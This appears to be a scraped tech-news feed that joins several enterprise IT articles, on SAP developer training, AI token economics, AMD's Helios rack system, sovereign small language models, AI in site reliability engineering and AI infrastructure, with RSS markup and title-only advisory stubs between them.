The prerequisites for successful AI deployment are solid software engineering knowledge, automated testing, and an understanding of modern SAP development.

DSAG’s five recommendations

DSAG recommends that CIOs firmly integrate continuing education into their transformation strategy with five measures:

  • defining mandatory learning paths for different roles, such as ABAP, CAP, or integration developers, as well as business consultants,
  • providing suitable sandbox and test environments,
  • mandatorily including training time in capacity planning,
  • coordinating training schedules with migration and modernization projects, and
  • using existing DSAG guidelines as a reference framework for development.

]]> <![CDATA[Clausewitz on Operation Epic Fury]]> https://tsecurity.de/de/3683728/it-security-nachrichten/clausewitz-on-operation-epic-fury/ https://tsecurity.de/de/3683728/it-security-nachrichten/clausewitz-on-operation-epic-fury/ Tue, 21 Jul 2026 14:54:35 +0200 📰 IT Security Nachrichten tsecurity.de Applying Clausewitz’s principles to Operation Epic Fury reveals the war’s strategic design–architecture linking military action to political purpose–was deficient from the start.

The post Clausewitz on Operation Epic Fury appeared first on Just Security.

]]> <![CDATA[Wazuh v5.0.0 Beta 4]]> https://tsecurity.de/de/3683727/it-security-tools/wazuh-v500-beta-4/ https://tsecurity.de/de/3683727/it-security-tools/wazuh-v500-beta-4/ Tue, 21 Jul 2026 14:50:03 +0200 đŸ’Ÿ IT Security Tools tsecurity.de What's Changed

Full Changelog: v5.0.0-beta3...v5.0.0-beta4

]]> <![CDATA[The token debate: What CIOs can learn from the laws of thermodynamics]]> https://tsecurity.de/de/3683604/it-nachrichten/the-token-debate-what-cios-can-learn-from-the-laws-of-thermodynamics/ https://tsecurity.de/de/3683604/it-nachrichten/the-token-debate-what-cios-can-learn-from-the-laws-of-thermodynamics/ Tue, 21 Jul 2026 14:03:52 +0200 📰 IT Nachrichten tsecurity.de

What if the next breakthrough in Enterprise AI doesn’t come from computer science alone?

What if it comes from applying principles that physicists have understood for more than a century?

According to Gartner, rising token-driven AI spend is straining budgets and challenging cost justification. As organizations race to deploy generative AI and agentic systems, token consumption dominates nearly every executive discussion: How many tokens did we use? How much did inference cost? Can we reduce our AI bill?

These are important operational questions. But they are not the strategic questions.

I believe the economics of enterprise AI can be viewed through the lens of three well-established principles from thermodynamics: the conservation of energy, entropy, and exergy.

While these principles describe physical systems — not AI —they offer a useful way to think about how organizations should measure AI success.

Principle 1: Value is created through transformation

The 1st Law of Thermodynamics tells us that energy cannot be created or destroyed. It can only be transformed.

Enterprise AI presents a similar management lesson: Tokens are not valuable because they are consumed; they become valuable only when they are transformed into business outcomes: A faster loan application decision. A better customer experience. Faster and more accurate software. Reduced fraud. Higher employee productivity. A new product. A strategic insight.

The executive question therefore is not, “How many tokens did we consume?” It is: “How much business value did those tokens create?”

This leads to a new executive metric: return on tokens (ROT).

Just as organizations measure return on investment, they should begin measuring the business value generated for every million AI tokens consumed.

The organizations that win will not necessarily consume fewer tokens. They will generate more value from every token they use.

Principle 2: Every transformation creates waste

The 2nd Law of Thermodynamics teaches us that every energy transformation introduces inefficiencies.

Some energy inevitably becomes less useful for doing work.

The same pattern appears in enterprise AI: Not every token contributes equally to business outcomes.

Some are spent on:

  • Repeated prompts
  • Oversized context windows
  • Redundant reasoning
  • Hallucinations requiring correction
  • Multiple agents performing the same work
  • Expensive models solving simple problems

Those tokens are not “lost.” They simply produce very little business value.

I think of this as token entropy. Every enterprise deploying AI will experience it. The goal is not to eliminate token entropy completely — that would be unrealistic. The goal is to continuously identify it, measure it and reduce it. Because every unnecessary token represents an opportunity to improve both cost and business performance.

Principle 3: Useful work matters more than energy consumed

Thermodynamics introduces another important idea: Exergy.

Unlike energy, exergy measures how much energy can actually be converted into useful work. Two systems may consume the same amount of energy while producing dramatically different results.

The same is true for enterprise AI.

Imagine two companies each consuming one billion tokens. One produces meeting summaries. The other transforms claims operations, accelerates software delivery, detects fraud, improves customer retention, and creates new revenue opportunities. Both consumed the same number of tokens. Only one extracted significantly more business value.

Borrowing this concept as a management analogy, I call this token exergy.

Token exergy represents an organization’s ability to convert AI intelligence into meaningful business outcomes:

  • High token exergy means AI is solving important business problems.
  • Low token exergy means AI is generating activity without creating proportional enterprise value.

The distinction matters, because activity is not the same as impact.

A new responsibility for CIOs

For years, CIOs have monitored infrastructure: Cloud costs, storage, network utilization, GPU consumption.

These metrics remain important, but they tell only part of the story.

Token usage needs to be measured, planned, optimized and governed with the same discipline as any other cloud resource. This means that the next generation of CIO dashboards should answer different questions:

  • What is our return on tokens?
  • Where is token entropy reducing our effectiveness?
  • How much token exergy are we generating?
  • Which AI initiatives produce the greatest business value?
  • Which use cases create the strongest competitive advantage?

These are no longer technology metrics. They are business metrics.

The next generation of CIOs will not simply deploy AI. They will manage an economy of intelligence.

Their role will resemble that of a portfolio manager — allocating AI capacity where it creates the greatest enterprise value, reducing waste and continuously improving the productivity of every autonomous workflow.

That responsibility cannot be fulfilled by dashboards alone.

It requires an intelligent layer capable of observing, learning and optimizing the entire AI  ecosystem. Three-layer enterprise agentic architecture Will enable this.

The next competitive advantage

Every major technology revolution eventually shifts from measuring inputs to measuring outcomes:

  • Factories stopped measuring coal consumption and began measuring productivity.
  • Cloud computing evolved beyond server utilization to business agility.
  • Digital businesses measured customer acquisition costs and lifetime value.

Enterprise AI is approaching the same inflection point. Organizations that focus only on token costs will optimize for efficiency. Organizations that measure return on tokens, minimize token entropy and maximize token exergy will optimize for business transformation.

That is a fundamentally different objective. And I believe it will separate AI leaders from AI followers.

Because in the end, the future of enterprise AI will not be determined by how many tokens an organization consumes. It will be determined by how effectively those tokens are transformed into lasting business value. The AI adoption spending spree is over. Time to focus on value.

This article is published as part of the Foundry Expert Contributor Network.
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]]> <![CDATA[Helios marks AMD’s biggest AI infrastructure push yet]]> https://tsecurity.de/de/3683516/it-security-nachrichten/helios-marks-amds-biggest-ai-infrastructure-push-yet/ https://tsecurity.de/de/3683516/it-security-nachrichten/helios-marks-amds-biggest-ai-infrastructure-push-yet/ Tue, 21 Jul 2026 13:21:39 +0200 📰 IT Security Nachrichten tsecurity.de

AMD has expanded its AI infrastructure portfolio with the launch of Helios, an open, rackscale AI infrastructure designed for frontier AI and sovereign computing. Helios is built around AMD’s next-generation Instinct GPUs, EPYC Venice processors, Pensando networking and the ROCm software stack.

“Helios is AMD’s first complete AI rack system with GPUs, CPUs, and networking built together, instead of selling separate chips. It is well suited for training large AI models, memory heavy models, long context processing and high volume inference, and AMD’s biggest shot yet at challenging Nvidia’s dominance,” said Pareekh Jain, CEO at EIIRTrend & Pareekh Consulting.

AMD has also secured an early hyperscale deployment for Helios with Microsoft agreeing to deploy it to power its frontier model AI inference, its AI customers, and support Azure AI services.

The architecture behind Helios

The launch of Helios marks AMD’s latest attempt to strengthen its position in a market where Nvidia continues to dominate AI infrastructure. Unlike previous AMD AI offerings centred on individual accelerators, Helios is designed as a complete rack-scale system integrating compute, networking and software.

According to Jain, Helios goes up against Nvidia’s Vera Rubin rack. “Nvidia is faster on raw inference speed and has a faster internal connection between chips whereas AMD wins on memory size and offers better value for the price and power used. It’s standout feature is memory, where each rack packs about 50% more total memory than Nvidia’s competing system, which helps run very large AI models. It also uses open, industry-standard connections instead of Nvidia’s private technology, giving buyers more flexibility,” he said.

The AMD Helios rackscale design includes 72 AMD Instinct MI455X GPUs with AMD EPYC Venice CPUs and AMD Pensando Vulcano networking using UALink, optimized for compute, data movement, and system efficiency. The platform also supports both OCP and MX data types, delivering up to 2.9 EFLOPS of FP4 and 1.4 EFLOPS of FP8 compute for AI training and inference.

It also integrates 31TB of HBM4 memory with 19.6TB/s of memory bandwidth, while a liquid-cooling design uses quick-disconnect connections to efficiently dissipate heat. It is designed on open standards including OCP Open Rack Wide (ORW), Ultra Accelerator Link (UALink), and Ultra Ethernet Consortium (UEC) and can be scaled efficiently across datacenters while optimizing power, cooling, and serviceability for modern AI infrastructure, said the company.

On the security front, Helios incorporates a hardware root of trust and continuous attestation at every layer. It supports hardware-enforced isolation, encrypted memory and interconnects to help protect AI models, data and workloads in multi-tenant environments.

The software challenge

While the launch of Helios might help AMD close the hardware gap with Nvidia’s rack-scale systems, it will be the software compatibility that will be the real driver of enterprise adoption.

For this, AMD is expanding its ROCm AI software platform too, which supports frameworks including PyTorch, TensorFlow, and JAX, for enabling high-throughput inference and efficient distributed training while preserving familiar developer workflows.

Jain stated While hardware parity or superiority in memory bandwidth is achievable, software maturity remains the key differentiator for Nvidia. The Nvidia’s CUDA software has a 15-20 year head start, and almost every AI tool, tutorial, and codebase defaults to it.

He added software has been AMD’s weak spot. AMD has improved  ROCm a lot but it still lags behind on the newest, most specialized optimizations, and setup is more complicated. For everyday AI work, ROCm is usable but for cutting-edge performance, CUDA still leads.

Evaluating the trade-offs

For CIOs evaluating AI infrastructure, Helios launch brings in another option to a market that has largely revolved around Nvidia’s dominance. But when considering Helios, CIOs will have to evaluate factors such as performance, software readiness, deployment models, procurement timelines and total cost of ownership before committing to a platform.

While AMD has not publicly announced a specific price tag for the Helios, Jain believes it to be noticeably cheaper to buy and run with lower chip prices and lower power use per GPU.

“It gives companies a real second option besides Nvidia, easing supply shortages and giving leverage in negotiations. The catch is software, where teams need to check whether their AI tools run well on AMD’s stack, since some advanced tools are still CUDA only,” Jain said.

For CIOs planning to deploy both, Jain warns the two systems can’t be plugged together into one combined machine as they use different, incompatible connection technology. But companies can and do run both side by side in the same data center, just as separate systems handling different jobs.

]]> <![CDATA[USN-8576-1: Linux kernel (NVIDIA Tegra) vulnerabilities]]> https://tsecurity.de/de/3683452/unix-server/usn-8576-1-linux-kernel-nvidia-tegra-vulnerabilities/ https://tsecurity.de/de/3683452/unix-server/usn-8576-1-linux-kernel-nvidia-tegra-vulnerabilities/ Tue, 21 Jul 2026 13:01:12 +0200 🐧 Unix Server tsecurity.de <![CDATA[Agentic AI in the enterprise: Why architecture matters more than marketing claims]]> https://tsecurity.de/de/3683371/it-nachrichten/agentic-ai-in-the-enterprise-why-architecture-matters-more-than-marketing-claims/ https://tsecurity.de/de/3683371/it-nachrichten/agentic-ai-in-the-enterprise-why-architecture-matters-more-than-marketing-claims/ Tue, 21 Jul 2026 12:32:51 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[USN-8574-1: Linux kernel (GCP FIPS) vulnerabilities]]> https://tsecurity.de/de/3683349/unix-server/usn-8574-1-linux-kernel-gcp-fips-vulnerabilities/ https://tsecurity.de/de/3683349/unix-server/usn-8574-1-linux-kernel-gcp-fips-vulnerabilities/ Tue, 21 Jul 2026 12:16:02 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8575-1: Linux kernel vulnerabilities]]> https://tsecurity.de/de/3683348/unix-server/usn-8575-1-linux-kernel-vulnerabilities/ https://tsecurity.de/de/3683348/unix-server/usn-8575-1-linux-kernel-vulnerabilities/ Tue, 21 Jul 2026 12:16:01 +0200 🐧 Unix Server tsecurity.de <![CDATA[Bristol Myers Squibb buys Nvidia AI system for drug discovery]]> https://tsecurity.de/de/3683316/ai-nachrichten/bristol-myers-squibb-buys-nvidia-ai-system-for-drug-discovery/ https://tsecurity.de/de/3683316/ai-nachrichten/bristol-myers-squibb-buys-nvidia-ai-system-for-drug-discovery/ Tue, 21 Jul 2026 12:05:11 +0200 🔧 AI Nachrichten tsecurity.de Bristol Myers Squibb is purchasing an Nvidia DGX SuperPOD built on the chipmaker’s Vera Rubin architecture to support artificial intelligence use across its drug discovery and development operations. The pharmaceutical company said it will be the first life sciences group to acquire a DGX SuperPOD based on Vera Rubin. Nvidia introduced the architecture earlier this [
]

The post Bristol Myers Squibb buys Nvidia AI system for drug discovery appeared first on AI News.

]]> <![CDATA[Why AI is re-designing data center architecture]]> https://tsecurity.de/de/3683304/it-nachrichten/why-ai-is-re-designing-data-center-architecture/ https://tsecurity.de/de/3683304/it-nachrichten/why-ai-is-re-designing-data-center-architecture/ Tue, 21 Jul 2026 12:03:57 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Small models, sovereign advantage: Why Australia should build its own AI edge]]> https://tsecurity.de/de/3683294/it-nachrichten/small-models-sovereign-advantage-why-australia-should-build-its-own-ai-edge/ https://tsecurity.de/de/3683294/it-nachrichten/small-models-sovereign-advantage-why-australia-should-build-its-own-ai-edge/ Tue, 21 Jul 2026 12:03:22 +0200 📰 IT Nachrichten tsecurity.de

For the past three years, the AI conversation has been dominated by scale. Bigger models, bigger compute clusters, bigger headlines. But the next wave of competitive advantage won’t come from who can rent the biggest model; it will come from who can build the smallest one that knows their business.

That model is the small language model (SLM): Compact, purpose-built, trained on an organization’s own data and run under that organization’s own governance. And it is about to become one of the most consequential strategic assets available to both the private and public sector.

The problem with renting intelligence

Right now, most organizations consume AI the way they once consumed electricity from a single utility by plugging into a handful of frontier models built by a small number of global vendors. These models are extraordinary generalists. They are also, by design, generic. They are tuned to be safe, broad and useful to everyone, which means they are optimised for no one in particular.

That’s a problem for any organization trying to build genuine differentiation. If every competitor in your sector is calling the same foundation model with the same prompts, the model itself is not your edge. Your edge is what only you know, your proprietary data, your institutional judgement, your operating history. A generic model can’t see any of that unless you keep feeding it to them, turn after turn, at cost, with no lasting memory and no guarantee of where that data ends up.

An SLM flips that equation. Trained on an organization’s own document libraries, case histories, policy archives, transaction data and operational know-how, it becomes a model that thinks the way your organization thinks, because it was built from your organization’s accumulated judgement. It doesn’t need to be the smartest model in the world. It needs to be the most useful one for you.

I’ve seen this play out directly. At one of Australia’s largest integrated tourism and cruise businesses, simultaneously a B2C retailer, a B2B distributor to thousands of agency and wholesale clients globally, an aggregator marketplace for more than 1,800 independent tourism operators, and a cruise operator with offshore shared services spanning finance, customer contact and content management. The constraint wasn’t a lack of access to large general-purpose models. It was that none of them understood the business: 1,800 different operator catalogues, each with its own pricing logic, inventory quirks and content conventions; years of customer contact history with its own vocabulary and escalation patterns; a marketplace search experience that needed to reason over the business’s own product taxonomy, not the open web’s.

Models trained and tuned on that proprietary data, operator listings, historical tickets, booking and pricing data delivered results a generic model never could. Domain-tuned content drafting cut operator listing time by 70% and eliminated a 23-day onboarding backlog outright, taking new-operator time-to-live from 23 days to three. A semantic search model trained on the marketplace’s own product catalogue lifted booking conversion by 24%. AI-driven triage trained on the business’s own contact history cut Tier 1 escalations by 34%. None of this came from a smarter foundation model. It came from a smaller, more specific one that knew the business.

Why “small” is the strategic choice, not the compromise

There’s a temptation to treat SLMs as the budget option, what you build when you can’t afford a frontier model. That’s the wrong frame. The evidence is already compelling: Microsoft’s Phi-4 family of small models, released in early 2025, demonstrated that a 14-billion-parameter model can match or exceed the performance of models many times its size on complex reasoning and domain-specific tasks while running at a fraction of the compute cost and on-premise, entirely within an organization’s own infrastructure. Smaller, domain-trained models are increasingly outperforming general-purpose giants on narrow, high-value tasks, with far tighter control over data residency, security and explainability.

For a CIO or CTO, that combination of lower cost, tighter governance, higher task-specific accuracy is rare enough to demand attention on its own. But the deeper value sits one layer up, at the operating model. An SLM trained on your service history can sit inside claims processing, citizen services, clinical triage, asset maintenance scheduling or M&A due diligence quietly compounding institutional knowledge into a reusable asset rather than letting it walk out the door every time someone retires or resigns.

That is the real shift: AI capability stops being a subscription and starts being a balance-sheet asset. It can be valued, protected, audited and improved because it belongs to you.

The public sector’s hidden advantage

Nowhere is this more obvious than in government. The public sector sits on some of the richest, least-exploited data and institutional knowledge in the country: Decades of policy outcomes, service delivery history, regulatory precedent, infrastructure records and frontline expertise. Most of it has never been put to systematic use because no commercially available model was ever trusted to touch it, and rightly so.

A small, sovereign, purpose-built model changes that calculus. Trained, hosted and governed entirely within government infrastructure, an SLM doesn’t require sensitive citizen or policy data to leave a secure perimeter. The Australian Government has already recognised this direction: The APS AI Plan, released in November 2025, commits to expanding the GovAI platform to provide all public servants with secure, sovereign AI tools operating entirely within Australian Government infrastructure. SLMs tuned to individual agency mandates are the logical next step and a more powerful one than any generic government-wide tool can deliver.

Rather than each agency independently negotiating with the same handful of overseas vendors, a coordinated approach of common standards for model governance, shared security architecture, common evaluation frameworks and pooled infrastructure investment would let agencies build and reuse SLM capability horizontally, the way shared services and common ICT platforms have been built before. Each agency gets a model genuinely tuned to its mandate, but the security model, audit trail and assurance framework are consistent, government-backed and independently verifiable.

Done well, this isn’t just an efficiency play. It’s a sovereignty play. As GovTech Review has noted, large language models hosted offshore create data flows that extend beyond Australia’s borders in ways that are rarely transparent, a risk that is simply untenable for government. Sovereign, purpose-built models keep Australian public data, public knowledge and the resulting capability uplift inside Australian hands, rather than exporting both the data and the long-term value to offshore platforms.

Why this belongs in the innovation budget, not the IT budget

The instinct in many organizations is to treat AI spend as an IT line item, something to be minimised, benchmarked and squeezed for cost efficiency. SLMs deserve a different treatment. They are closer to R&D than infrastructure: An investment in converting accumulated institutional knowledge into a durable, defensible capability.

That argument holds in the private sector too. A PE-backed portfolio company, a regulated financial services firm, a healthcare provider — each has years of proprietary operating data sitting idle in case files, transaction logs and service records. An SLM built on that data is a way of turning a sunk cost, decades of operational history, into a forward-looking asset that compounds with every additional case it processes.

Boards and executive committees that are still asking “what is our AI strategy?” as a single, undifferentiated question are asking the wrong thing. The better question is: Which parts of our operation are rich enough in proprietary data and judgement to justify owning the model outright, rather than renting someone else’s?

The opportunity in front of us

The first wave of enterprise AI adoption was about access: Getting a capable model into people’s hands quickly. The next wave will be about ownership: Who controls the model, who controls the data it was built on, and who captures the long-term value of the institutional knowledge it encodes.

Australia, with a public sector rich in data and a private sector with deep vertical expertise in financial services, resources, healthcare and logistics, is well placed to lead on this if it treats small, sovereign models as a genuine national capability question, not a procurement footnote. The organizations, and the country, that move early will not just save money. They will own something their competitors can’t easily replicate: An AI that knows them.

This article is published as part of the Foundry Expert Contributor Network.
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]]> <![CDATA[How AI impacts site reliability engineering]]> https://tsecurity.de/de/3683121/ai-nachrichten/how-ai-impacts-site-reliability-engineering/ https://tsecurity.de/de/3683121/ai-nachrichten/how-ai-impacts-site-reliability-engineering/ Tue, 21 Jul 2026 11:05:12 +0200 🔧 AI Nachrichten tsecurity.de

Site reliability engineers (SREs) have the tough assignment of resolving thorny performance and reliability issues. But their primary mission is to provide devops teams with operational insights and to suggest implementation improvements on business system performance, security, and overall robustness.

Google introduced its SRE playbook in 2003, but it took some time for the role’s definition, tools, and techniques to become mainstream. Startups were the first to adopt observability for cloud-native applications and create dedicated SRE positions. As tools matured and SRE responsibilities became more clearly defined, larger enterprises assigned SREs to work as a bridge between devops and IT ops teams to improve resilience across a wider range of applications, APIs, and data pipelines.

SRE is a career path for multidisciplinary engineers with strong investigative instincts, sharp data analytics skills, and the temperament to perform under pressure. It has become a critical responsibility as tech became mission-critical for enterprises, and it is a growing role in the genAI era as more businesses deploy AI agents.

But the critical need for resiliency and greater technological complexity brings new challenges for SREs. According to the 2026 State of Production Reliability and AI Adoption report, 44% of respondents experienced an outage linked to ignored or suppressed alerts in the past year, and 35% report their engineers occasionally ignore or dismiss alerts due to alert fatigue. More than 70% of alerts received are not actionable, according to 57% of organizations.

So, is AI making the SRE’s role easier and helping businesses run more reliable technology operations? On the other hand, AI is also driving complexity, as companies deploy genAI tools and AI agents across more business functions and seek to automate more decision-making across operations.

AIops and agentic ops aid SREs

Over the past decade, SRE responsibilities have become somewhat easier through improvements in monitoring platforms, observability practices, tools for centralizing operational data, and AI applied in IT operations (AIops). But during the heat of resolving an outage or performance issue, it’s not easy to correctly identify what system triggered the issue versus other downstream systems impacted by it.

According to the Komodore 2025 Enterprise Kubernetes Report, 79% of production incidents originate from recent system changes, including deployments and changes to compute environments. But the other 21% of incidents stem from issues outside of the business’s control, including network failures, third-party changes, and cloud provider failures.

“SREs using AI capabilities succeed or fail in the moment an incident unfolds, when engineers are deciding what to investigate next,” says Itiel Shwartz, CTO at Komodor. “If the system streamlines root cause detection, connects signals to recent changes, and explains its reasoning in a way engineers recognize, it earns trust. If it adds uncertainty or demands extra validation, it gets sidelined, regardless of how bespoke the model behind it may be. What’s less obvious is what it takes to make AI for SREs work in production, and how different that reality is from prototypes, demos, or early internal builds.”

AIops is not a new capability, especially in using machine learning to correlate logs, metrics, and traces across monitoring and alerting systems. IT service management and SREs have been using AIops to reduce the mean time to resolve incidents and to perform accurate root cause analysis (RCA) efficiently. Agentic ops is the next wave of genAI operational capabilities, including tools for monitoring AI agents, managing their access rights, and detecting AI model accuracy drift.

 “AI is useful during major incidents because it can pull together a lot of context into a few clear sentences, which is exactly what an SRE needs in the moment,” suggests Shani Shoham, chief revenue officer at OpenObserve. “The complexity of architecture and the different tooling make it easier for AI than for a human, but autonomous resolution is still a way off.”

AI’s impact on people and burnout

The business pressure to keep systems up, secure, and performing well is a 24/7 stressful responsibility. According to The SRE Report 2025 from Catchpoint, 36% of SREs often or always experience elevated stress during an incident, and 28% said the stress persists even after the incident is resolved. AI capabilities may prove to be a game-changer in helping SREs avoid burnout and reduce stress.

“AI can improve RCA by taking in a much larger incident context than any engineer can hold at 3am, reasoning across traces, logs, metrics, deploys, config changes, alerts, ownership, and recent production behavior,” says Noam Levy, founding engineer and field CTO at Groundcover. “Beyond attempting a full RCA, its immediate value is distilling the signals that actually matter, reconstructing a clear timeline of cause and effect, and helping engineers separate correlation from likely causality. Once a fix is deployed, agents can also verify remediation by comparing pre- and post-fix behavior, but this depends on broad access to rich, correlated production signals and a cost model that does not discourage adoption or experimentation.”

Not only are incidents resolved faster and with less stress, but AI can also free up SRE time to focus on proactive work and create a career path for junior developers into SRE roles. Quais Taraki, CTO at EDB Postgres AI, adds, “AI reduces toil by automating repetitive tasks while accelerating incident resolution through copilots that correlate signals across distributed systems, allowing SREs to focus more on resilience strategies like chaos engineering and failure analysis.”

AI can have long-lasting operational impacts, especially for organizations looking to deploy more mission-critical technology and AI capabilities. Two longer-term benefits of AI for SREs are reducing the number of bridge calls needed for incident response and the number of engineers required in “war rooms” to coordinate root cause analyses.

“When something goes wrong, AI that guides SREs can do the full analysis, get to the root cause, and perform the remediation,” says Spiros Xanthos, founder and CEO of Resolve AI. “AI also helps avoid many escalations, and when escalations are needed, it targets the right people from the network, infrastructure, and the application teams. AI for SREs centralizes operational intelligence, exposes tribal knowledge, and can guide more junior developers.” 

AI agent reliability

While AI capabilities have been a net positive in helping SREs improve system reliability, the growth of AI code generators, vibe coding, and spec-driven development is adding to their workloads. According to one study, 41% of all global code is now AI-generated, and Gartner predicts that 40% of new enterprise production software will be created using vibe coding techniques by 2028.

But coding velocity is creating new issues for SREs as AI pull requests have 1.4 times more critical issues and 1.7 times more major issues, according to CodeRabbit. “AI-assisted development has created an unprecedented velocity of code reaching production, expanding surface area, edge cases, and failure rates faster than traditional SRE practices can absorb,” says Vinod Jayaraman, cofounder and CTO at NeuBird AI. “The speed of shipping has far outpaced the speed of understanding what breaks in production. To close this loop, SREs need enterprise agents that can capture precise diagnostic context, including correlated traces, service dependencies, and anomaly timelines, and structure it as actionable input for the engineers and AI coding tools responsible for the fix.”

The growing number of AI agents deployed to production creates new challenges. AI agents are not just code; they have multiple failure points. They are built using language models, connect to proprietary sources for context, and integrate with Model Context Protocol servers to support more complex workflows. Changes are ongoing and not deployment events, so the SRE’s job of identifying the source of performance and accuracy drifts isn’t trivial. 

“Traditional SRE was built for systems that fail in reproducible ways, but agents fail differently and drift when a model provider pushes an update, and behavior shifts silently with no baseline for comparison,” says Mohammed Aboul-Magd, vice president of product at SandboxAQ. “Most organizations can’t even answer the basics: how many agents are running, what they have access to, and whether they’re still doing what they were built to do.”

“Every time a senior engineer leaves, they take years of learned failure patterns with them, and the next outage starts from square one,” adds Ronak Desai, cofounder and CEO at Ciroos. “Using AI for compounding operational memory changes that, and every incident your system resolves, the AI learns it.”

SREs should take a leadership role in emerging best practices, including defining their standards for AI agent non-functional acceptance criteria, observability practices, and release-readiness criteria. SREs should update their service-level objectives (SLOs) and define error budgets for AI agents in production.

Ryan Downing, vice president and CIO of enterprise business solutions at Principal Financial Group, says, “Standard SLOs and error budgets give teams the guardrails, and AI helps interpret the telemetry against those targets, reducing noise so engineers can get to the real issue faster and automate parts of remediation before customers are impacted.”

AI raises the SRE’s business impact

The more dramatic shift in site reliability engineering is an evolution of its business scope. IT leaders focus on uptime, performance, and issue resolution, as well as understanding their impacts. Business leaders will look to IT and SREs to identify, determine root cause, and remediate a broader class of issues, including rogue AI agents and the impacts of rapidly deploying new agentic capabilities. 

“AI agents are handing SREs categories of problems they’ve never had to solve before, specifically failures defined in business terms, not technical ones,” says Blake Sherwood, distinguished technologist for AI and platform strategy at Smarsh. “Traditional reliability engineering is built around latency, errors, and crashes, but agents now fail due to skipped compliance steps or outcomes that looked fine technically but were wrong contextually. Most SRE teams aren’t wired for that yet.”

The question is whether SREs with AI-augmented tools can keep up with the velocity, complexity, and business urgency of deploying new AI business capabilities.

]]> <![CDATA[The next AI bottleneck is not the model. It’s the infrastructure behind it]]> https://tsecurity.de/de/3683109/it-nachrichten/the-next-ai-bottleneck-is-not-the-model-its-the-infrastructure-behind-it/ https://tsecurity.de/de/3683109/it-nachrichten/the-next-ai-bottleneck-is-not-the-model-its-the-infrastructure-behind-it/ Tue, 21 Jul 2026 11:03:50 +0200 📰 IT Nachrichten tsecurity.de

Every enterprise AI conversation seems to begin with the same question: Which model should we use?

I understand why. Models are visible. They have names, benchmarks, release notes, pricing pages and impressive demos. They are easy to compare in a leadership meeting. One model promises better reasoning. Another offers a larger context window. Another appears faster, cheaper or more specialized.

But after years of working around enterprise platforms, integration layers, cloud migration, middleware, production operations and mission-critical systems, I see the AI conversation differently.

The model matters. But it is not where most enterprises will struggle next.

The next AI bottleneck is the infrastructure behind the model.

I do not mean only GPUs, cloud capacity or data storage. I mean the full enterprise operating layer that allows AI to work safely in the real world: data pipelines, identity, APIs, messaging, observability, security controls, deployment automation, cost governance, auditability, support ownership and recovery design.

That layer is what determines whether AI remains an exciting experiment or becomes a trusted business capability.

Pilots hide the hard part

Most organizations can build an impressive AI pilot. A small team can connect a model to a dataset, create a workflow and show a use case that works well in a controlled setting.

The harder part starts when that pilot moves into a real production process.

That is when practical questions show up. Who owns the data quality? What systems can the AI access? How do we trace which prompt, policy or retrieval flow produced a specific answer? What happens when an API slows down, a queue backs up or a downstream system is unavailable?

To me, these are not model problems. They are infrastructure problems.

This is where many enterprises are now headed. The first phase of AI was experimentation. The next phase is operationalization, and that is where the real gap becomes clear.

McKinsey has made a similar point in its work on agentic AI, noting that the next phase of value depends less on isolated tools and more on redesigning workflows, operating models and enterprise execution around agents.

AI pilots can survive on enthusiasm. Production AI requires architecture.

AI is becoming an integration problem

The more I look at enterprise AI, the more it feels like an integration challenge.

In large organizations, I have seen how messaging platforms, integration gateways, deployment pipelines, monitoring tools and cloud infrastructure can decide whether a digital capability succeeds or fails. AI will be no different. Even the strongest model will struggle if the data, middleware, identity layer and operational controls around it are weak.

AI does not work in isolation. It needs context from systems of record, clean data from different business areas, secure access to APIs, event streams, workflows, knowledge repositories, monitoring tools and legacy systems.

That is why the CIO question is changing.

It is no longer just, “Which AI tool should we buy?”

It is becoming, “Can we safely operationalize intelligence across the business?”

This is where agentic AI matters. Autonomous AI only creates real value when the architecture around it can make its actions safe, traceable and useful.

A model can generate an answer. Infrastructure determines whether that answer is secure, timely, explainable, governed and connected to the right workflow.

For example, an AI assistant that summarizes customer or order information may look like a model use case. But underneath, it depends on access control, fresh data, reliable APIs, logging, encryption, monitoring and policy enforcement.

If the answer is wrong, people may blame the model. But the real failure may have started with stale data, weak integration, poor access design, missing observability or an unreliable downstream system.

That is why CIOs should not judge AI only by model capability. The enterprise system around the model matters just as much.

Latency will become a trust issue

In traditional technology operations, latency is often treated as a performance metric. In AI-enabled workflows, latency becomes a trust issue.

When an employee asks an AI assistant for help and the response takes too long, the employee stops using it. When a customer-facing workflow becomes slow, the customer abandons it. When an AI agent waits on multiple backend calls, the entire business process feels unreliable.

This becomes even more important as organizations move from simple chat interfaces to agentic workflows. A single AI-driven action may include identity checks, context retrieval, policy validation, model reasoning, API calls, business-rule execution, logging and human approval.

Each step adds latency. Each dependency adds a possible failure point.

A model may be fast in a benchmark but slow inside an enterprise process. That difference matters.

This is where platform engineering becomes essential. Enterprises need reusable patterns for AI workloads: approved connectors, secure retrieval methods, queue-based decoupling, caching strategies, deployment pipelines, monitoring dashboards and standard rollback procedures.

Without those patterns, every AI initiative becomes a custom build. Custom builds may work for pilots, but they do not scale across a large enterprise.

Observability has to expand

Traditional monitoring tells us whether infrastructure is healthy. Is the server up? Is CPU high? Is memory exhausted? Is the application returning errors?

AI needs that, but it also needs more.

We need to know what data was retrieved, which model was used, which prompt version was active, which user initiated the request, which policy was applied, how long each step took and whether the output passed validation.

We also need to detect new forms of risk: unusual usage patterns, repeated failed tool calls, unexpected cost spikes, sensitive data exposure, weak retrieval results or an AI workflow attempting actions outside its intended boundary.

In production AI, observability is not only about uptime. It is about confidence.

If a business leader, auditor, regulator or security team asks why an AI system made a recommendation, the answer cannot be, “The model said so.” The enterprise needs traceability. It needs evidence. It needs operational context that engineers, risk teams and business owners can understand.

This is one of the biggest gaps I see in AI strategy. Many organizations are investing in models and use cases, but not enough in the control plane required to manage them.

Data readiness is still underestimated

AI has exposed an uncomfortable truth: many enterprises are not as data ready as they think.

Data is often duplicated across platforms, described differently by each team, governed inconsistently and refreshed on different schedules. Access rules may be clear in one system but unclear in another. Even basic business definitions can change from department to department.

AI does not fix that automatically. In many cases, it makes the problem more visible.

A bad report may be questioned. A bad AI answer may sound confident enough to be trusted.

That is a real risk.

Being data-ready for AI is not just about connecting a vector database or indexing documents. It requires clear ownership, lineage, classification, quality checks, retention rules, access boundaries and a shared understanding of which data should be used for which purpose.

The same principle applies to resilient cloud-native design. In my IEEE TechRxiv paper, “Enabling Fault-Tolerant Multicast in Cloud-Native Architectures” I explored how reliability, observability and fault tolerance become foundational requirements when critical workloads stretch across hybrid and multi-cloud environments.

